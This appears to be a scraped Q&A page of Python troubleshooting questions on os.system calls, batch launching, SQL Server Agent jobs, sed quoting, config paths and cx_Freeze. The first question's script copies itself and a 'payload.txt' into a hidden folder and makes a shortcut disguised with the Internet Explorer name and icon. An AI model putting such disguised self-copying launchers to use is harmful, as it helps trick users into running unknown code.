When I run this code normally, it executes normally, but when I point my batch file at it (which I've tested on other code to make sure I know how to do it properly) it chooses not to make any of the dirs and the icon. Code is:
from sys import argv
import os, winshell
from win32com.client import Dispatch
script = argv
name = str(script[0])
cmd = 'start payload.txt'
os.system(cmd)
if not os.path.exists('C:\pythonspawn\clone'):
os.mkdir('C:\pythonspawn\clone')
os.system(r"copy payload.txt C:\pythonspawn\clone")
os.system(r"copy " + name + " C:\pythonspawn\clone")
desktop = winshell.desktop()
path = os.path.join("C:\pythonspawn\\", "Internet Explorer.lnk")
target = r"C:\pythonspawn\clone\file.py"
wDir = r"C:\pythonspawn\clone"
icon = r"C:\Program Files (x86)\Internet Explorer\iexplore.exe"
shell = Dispatch('Wscript.Shell')
shortcut = shell.CreateShortCut(path)
shortcut.Targetpath = target
shortcut.WorkingDirectory = wDir
shortcut.IconLocation = icon
shortcut.save()
and this is the batch file:
file.py %*
Related
I wanted to run this script that saves images generated by a TDW script but the TDW script is definitely not running.
import glob
import os
import cv2
import subprocess
i = 0
frameSize = (512, 512)
path = 'CRIPP/annotations/icqa_dataset/IID/json'
for i in range(0, 1):
new_path = path + f'/example_{i}.json'
cmd = "recreate.py -json={new_path}"
os.system(cmd)
#subprocess.call(['recreate.py', '-json='+new_path])
I think you forgot to run script using python.
Change cmd line to cmd = "python recreate.py -json={new_path}"
I am trying to run a python script from a powershell script inside SQL Server Agent.
I was able to execute most job of a python script (Task1-Task2) except the last portion (Task3) where it runs a third party exe file called SQBConverter (from RedGate) which converts files from SQB format to BAK format.
When I manually run powershell script directly which runs python script, there is no issue.
I modified the "Log On As" from default ("Local System") to my own (JDoh), and it executes the powershell within SQL Server Agent, but it only does the job except where it converts files from SQB to BAK format (Task3).
Without changing to my own (JDoh), it would not even executes the any job of python script.
I don't think there is any issue with powershell script side because it still triggers python script when I changed the "Log On As" to "Local System". It does not show error, but it shows as SQL Server Agent job completed. But, it does not run any tasks within python script at all.
So, I am guessing it might be something to do with SQL Server Agent not able to trigger/run the SQBConverter exe file.
Here is whole python code (ConvertToBAK.py) to give you the whole idea of logic. It does everything until where it converts from SQB to BAK (Task3: last two lines).
import os
from os import path
import datetime
from datetime import timedelta
import glob
import shutil
import re
import time, sys
today = datetime.date.today()
yesterday = today - timedelta(days = 1)
yesterday = str(yesterday)
nonhyphen_yesterday = yesterday.replace('-','')
revised_yesterday = "LOG_us_xxxx_multi_replica_" + nonhyphen_yesterday
src = "Z:\\TestPCC\\FTP"
dst = "Z:\\TestPCC\\Yesterday"
password = "Password"
path = "Z:\\TestPCC\\FTP"
now = time.time()
### Task1: To delete old files (5 days or older)
for f in os.listdir(path):
f = os.path.join(path, f)
if os.stat(f).st_mtime < now - 5 * 86400:
if os.path.isfile(f):
os.remove(os.path.join(path, f))
filelist = glob.glob(os.path.join(dst, "*"))
for f in filelist:
os.remove(f)
### Task2: To move all files from one folder to other folder location
src_files = os.listdir(src)
src_files1 = [g for g in os.listdir(src) if re.match(revised_yesterday, g)]
for file_name in src_files1:
full_file_name = os.path.join(src, file_name)
if os.path.isfile(full_file_name):
shutil.copy(full_file_name, dst)
### Task3: Convert from SQB format to BAK format (running SQBConverter.exe)
for f in glob.glob(r'Z:\\TestPCC\\Yesterday\\*.SQB'):
os.system( f'SQBConverter "{f}" "{f[:-4]}.bak" {password}' )
This is powershell code (Test.ps1):
$path = 'Z:\TestPCC'
$file = 'ConvertToBAK.py'
$cmd = $path+"\\"+$file # This line of code will create the concatenate the path and file
Start-Process $cmd # This line will execute the cmd
This is screenshot of SQL Server Agent's step:
I looked at the properties of SQBConverter exe file itself, and I granted FULL control for all users listed.
I got it working by modifying the last line of my Python code.
From:
os.system( f'SQBConverter "{f}" "{f[:-4]}.bak" {password}' )
To (absolute path):
os.system( f'Z:\\TestPCC\\SQBConverter.exe "{f}" "{f[:-4]}.bak" {password}' )
I'm in the process of writing a python script that takes two arguments that will allow me to output the contents of a folder to a text file for me to use for another process. The snippet of I have is below:
#!/usr/bin/python
import cv2
import numpy as np
import random
import sys
import os
import fileinput
#Variables:
img_path= str(sys.argv[1])
file_path = str(sys.argv[2])
print img_path
print file_path
cmd = 'find ' + img_path + '/*.png | sed -e "s/^/\"/g;s/$/\"/g" >' + file_path + '/desc.txt'
print "command: ", cmd
#Generate desc.txt file:
os.system(cmd)
When I try and run that from my command line, I get the following output, and I have no idea how to fix it.
sh: 1: s/$//g: not found
I tested the command I am using by running the following command in a fresh terminal instance, and it works out fine:
images/*.png | sed -e "s/^/\"/g;s/$/\"/g" > desc.txt
Can anyone see why my snippet isn't working? When I run it, I get an empty file...
Thanks in advance!
its not sending the full text for your regular expression through to bash because of how python processes and escapes string content, so the best quickest solution would be to just manually escape the back slashes in the string, because python thinks they currently are escape codes. so change this line:
cmd = 'find ' + img_path + '/*.png | sed -e "s/^/\"/g;s/$/\"/g" >' + file_path + '/desc.txt'
to this:
cmd = 'find ' + img_path + '/*.png | sed -e "s/^/\\"/g;s/$/\\"/g" >' + file_path + '/desc.txt'
and that should work for you.
although, the comment on your question has a great point, you could totally just do it from python, something like:
import os
import sys
def main():
# variables
img_path= str(sys.argv[1])
file_path = str(sys.argv[2])
with open(file_path,'w') as f:
f.writelines(['{}\n'.format(line) for line in os.listdir(img_path) if line.endswith('*.png')])
if __name__ == "__main__":
main()
I fully agree with Kyle. My recommendation is to do using only python code better than call bash commands from your code. Here it is my recommended code, it is longer and not as optimal than the aforementioned one, but IMHO it is a more easy to understand solution.
#!/usr/bin/python
import glob
import sys
import os
# Taking arguments
img_path = str(sys.argv[1])
file_path = str(sys.argv[2])
# lets put the target filename in a variable (it is better than hardcoding it)
file_name = 'desc.txt'
# folder_separator is used to define how your operating system separates folders (unix / and windows \)
folder_separator = '\\' # Windows folders
# folder_separator = '/' # Unix folders
# better if you make sure that the target folder exists
if not os.path.exists(file_path):
# if it does not exist, you create it
os.makedirs(file_path)
# Create the target file (write mode).
outfile = open(file_path + '/' + file_name, 'w')
# loop over folder contents
for fname in glob.iglob("%s/*" % img_path):
# for every file found you take only the name (assuming that structure is folder/file.ext)
file_name_in_imgPath = fname.split('\\')[1]
# we want to avoid to write 'folders' in the target file
if os.path.isfile(file_name_in_imgPath):
# write filename in the target file
outfile.write(str(file_name_in_imgPath) + '\n')
outfile.close()
I 'm trying to open a directory dialog with a default directory which is written into an .ini file.
The .ini file looks like this :
defaultWorkingDirectory = "%%USERPROFILE%%\Documents\CAD\Working_Directory"
And I wrote a function in order to open the directory dialog :
from PyQt5.QtCore import *
from PyQt5.QtWidgets import *
from PyQt5.QtGui import *
import sys
from os.path import expanduser
import configparser
import itertools
import re
self.home = expanduser("~")
self.defaultPath = self.home + "\Documents\OptCAD\Working_Directory"
def openDirectoryDialog(self):
cfg = configparser.ConfigParser()
cfg.read_file(itertools.chain(['[global]'], open('C:\\Program Files (x86)\\CAD\\config.ini')))
print(cfg.items('global')) # It returns : [('defaultworkingdirectory', '"%USERPROFILE%\\Documents\\OptCAD\\Working_Directory"')]
cfgList = cfg.items('global')
wDirTuple = cfgList[(0)]
_, workingDir = wDirTuple
print(workingDir) # It returns : "%USERPROFILE%\Documents\OptCAD\Working_Directory"
self.directoryName = str(QFileDialog.getExistingDirectory(self, "Select Working Directory", workingDir, QFileDialog.ShowDirsOnly))
Then when I open the directory dialog the default directory is not the good directory.
You can always get the user profile path using expanduser, what is the need of %USERPROFILE%? You can store relative path in your config file in your case Documents\OptCAD\Working_Directory and then read it in the same way as you did in a variable say, relativeWorkingDir. Finally join it with the user profile like this.
workingDir = os.path.join(os.path.expanduser('~'), relativeWorkingDir)
I assume what you're trying to do is read values from the config file of program that you don't control.
The %USERPROFILE% syntax is windows-specific way of referring to environment variables. It won't be automatically exapnded by either Python or Qt, so you have to do it yourself:
import os
userprofile = os.environ.get('USERPROFILE')
workingdir = cfg.get('global', 'defaultworkingdirectory', fallback=None)
if workingdir and userprofile:
workingdir = workingdir.replace('%USERPROFILE%', userprofile)
else:
workingdir = os.exanduser('~\Documents\OptCAD\Working_Directory')
I have a python script which gets an image from the internet, downloads it, sets as desktop background and updates after on minute. The problem is most likely cx_Freeze not including the os module, as the same code with absolute paths works fine. My code also works perfectly, until it goes through freezing. It works before it is frozen when I load throught the console, run from IDLE or double-click on it. Whenever i run the frozen file I get the error (If i use setup.py or cxfreeze file.py:
C:\Python33\Scripts>C:\Python33\Scripts\dist\desktopchanger.exe
Traceback (most recent call last):
File "C:\Python33\lib\site-packages\cx_Freeze\initscripts\Console3.py", line 2
7, in <module>
exec(code, m.__dict__)
File "C:\Python33\desktopchanger.pyw", line 7, in <module>
dir = path.dirname(__file__)
NameError: name '__file__' is not defined
My Code
import pythoncom
from urllib import request
from win32com.shell import shell, shellcon
from time import sleep
from os import path
dir = path.dirname(__file__) #get dierctory script is in
startpath = str(path.join(dir+'/bg/bg.jpg')) #add /bg/bg.jpg to path of script
pathtoimg=[]
for char in startpath:
if char != "/":
pathtoimg.append(char) #replace / with \, necessary for setting bg
else:
pathtoimg.append("\\")
newpath = "".join(pathtoimg)
def get_image():
f = open(newpath, 'wb') #open .....\bg\bg.jpg
f.write(request.urlopen('http://blablabl.com/totale.jpg? i=0.387725243344903').read()) #get image from web and write over previous file
f.close()
while 1:
get_image()
#sets background below
iad = pythoncom.CoCreateInstance(shell.CLSID_ActiveDesktop, None,
pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IActiveDesktop)
iad.SetWallpaper(newpath, 0)
iad.ApplyChanges(shellcon.AD_APPLY_ALL)
sleep(60)
setup.py
from cx_Freeze import setup, Executable
exe=Executable(
script="desktop_changer_with_url2.py",
base="Win32Gui",
icon="icon.ico"
)
includes = ["os","urllib","time","pythoncom","win32com.shell"]
setup(
name = "Heindl Webcam als Desktop" ,
version = "1",
description = "eowjbadpoaäbaaplabipösdbjosdobsaboösac bjcaähpdaöbökabidsidsöds.",
executables = [exe],
)
Source:
http://cx-freeze.readthedocs.org/en/latest/faq.html
Your old line:
dir = path.dirname(__file__)
Substitute this with the following lines to run your script both frozen or unfrozen:
if getattr(sys, 'frozen', False):
# frozen
dir_ = os.path.dirname(sys.executable)
else:
# unfrozen
dir_ = os.path.dirname(os.path.realpath(__file__))
Tested with python 3.3.4. on win32
upd.: changed in accordance with the comment